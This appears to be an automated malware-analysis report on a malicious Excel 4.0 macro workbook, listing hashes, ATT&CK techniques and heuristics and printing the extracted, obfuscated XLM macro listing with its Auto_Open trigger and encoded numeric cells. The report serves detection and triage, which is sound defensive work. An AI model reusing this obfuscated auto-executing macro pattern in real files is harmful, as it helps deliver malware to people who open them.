Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b3cc9f956e72e57…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:00 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 95fd854a77c2f934c8344515043a5ad8 SHA-1: 165cd6175ec7cd09ded977b1c627e3956f4fdd93 SHA-256: 8b3cc9f956e72e5757f5c1d1a87249908f09edb7f33798e6f550213f83bb43ce
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro and the use of dangerous formula APIs, specifically the RUN function. This suggests the macro is designed to execute arbitrary code, likely a downloader for a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6561 bytes
SHA-256: 8fc8215f59c851b3ced37e7a2f9bd4cdd751ff80edbb92d125b9801469e23646
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ICvr
' 0018     20 LABEL : Cell Value, String Constant - aAOsG len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H148 
' 0018     25 LABEL : Cell Value, String Constant - dGCMVkodTA len=0 
' 0018     20 LABEL : Cell Value, String Constant - FMaKw len=0 
' 0018     25 LABEL : Cell Value, String Constant - hhuYoOBzZx len=0 
' 0018     27 LABEL : Cell Value, String Constant - JAXseuwwCjwg len=0 
' 0018     26 LABEL : Cell Value, String Constant - jhpLlYFZxLn len=0 
' 0018     20 LABEL : Cell Value, String Constant - KeRnl len=0 
' 0018     25 LABEL : Cell Value, String Constant - keRWnVamuv len=0 
' 0018     23 LABEL : Cell Value, String Constant - MpjErhVz len=0 
' 0018     20 LABEL : Cell Value, String Constant - MZKhk len=0 
' 0018     26 LABEL : Cell Value, String Constant - nMbxPnQlHuk len=0 
' 0018     22 LABEL : Cell Value, String Constant - nMlkKCG len=0 
' 0018     24 LABEL : Cell Value, String Constant - OjNWRbgJE len=0 
' 0018     20 LABEL : Cell Value, String Constant - PYXHh len=0 
' 0018     20 LABEL : Cell Value, String Constant - QRWrr len=0 
' 0018     22 LABEL : Cell Value, String Constant - RUIhfzR len=0 
' 0018     21 LABEL : Cell Value, String Constant - sFjVZk len=0 
' 0018     21 LABEL : Cell Value, String Constant - TimkEM len=0 
' 0018     26 LABEL : Cell Value, String Constant - vgvkoxiSfpk len=0 
' 0018     26 LABEL : Cell Value, String Constant - wKSYYCWxeQZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ICvr,H64,"SET.NAME("QRWrr",0+VALUE("0"))",""
'  ICvr,H67,"SET.NAME("keRWnVamuv",QRWrr)",""
'  ICvr,H72,"SET.NAME("aAOsG",QRWrr)",""
'  ICvr,H75,"SET.NAME("hhuYoOBzZx",COUNTA(JAXseuwwCjwg))",""
'  ICvr,H79,"SET.NAME("wKSYYCWxeQZ",COUNTA(MpjErhVz))",""
'  ICvr,H84,[],""
'  ICvr,H86,"SET.NAME("jhpLlYFZxLn","")",""
'  ICvr,H89,"keRWnVamuv",""
'  ICvr,S89,"",901.00000000000000000000
'  ICvr,S90,"",-590.00000000000000000000
'  ICvr,H91,"SET.NAME("sFjVZk",HLOOKUP("*",JAXseuwwCjwg,keRWnVamuv,FALSE))",""
'  ICvr,S91,"",-636.00000000000000000000
'  ICvr,S92,"",-642.00000000000000000000
'  ICvr,S93,"",-589.00000000000000000000
'  ICvr,H94,"nMbxPnQlHuk",""
'  ICvr,S94,"",453.00000000000000000000
'  ICvr,H96,"SET.NAME("dGCMVkodTA",QRWrr)",""
'  ICvr,H98,[],""
'  ICvr,H100,"dGCMVkodTA",""
'  ICvr,H103,"PYXHh",""
'  ICvr,H108,"nMlkKCG",""
'  ICvr,H110,"KeRnl",""
'  ICvr,H112,"SET.NAME("OjNWRbgJE",VALUE(HLOOKUP("*",MpjErhVz,KeRnl,FALSE)))",""
'  ICvr,H117,"RUIhfzR",""
'  ICvr,H121,"jhpLlYFZxLn",""
'  ICvr,H124,"aAOsG",""
'  ICvr,H126,NEXT(),""
'  ICvr,H131,"TimkEM",""
'  ICvr,H135,[],""
'  ICvr,H139,"MZKhk",""
'  ICvr,H142,NEXT(),""
'  ICvr,H146,RETURN(),""
'  ICvr,H172,"SET.NAME("vgvkoxiSfpk",H64)",""
'  ICvr,H177,"JAXseuwwCjwg",""
'  ICvr,H182,"SET.NAME("MpjErhVz",R94C14)",""
'  ICvr,H186,"SET.NAME("MZKhk",195)",""
'  ICvr,H189,"SET.NAME("FMaKw",8)",""
'  ICvr,H194,vgvkoxiSfpk(),""
'  ICvr,H195,HALT(),""

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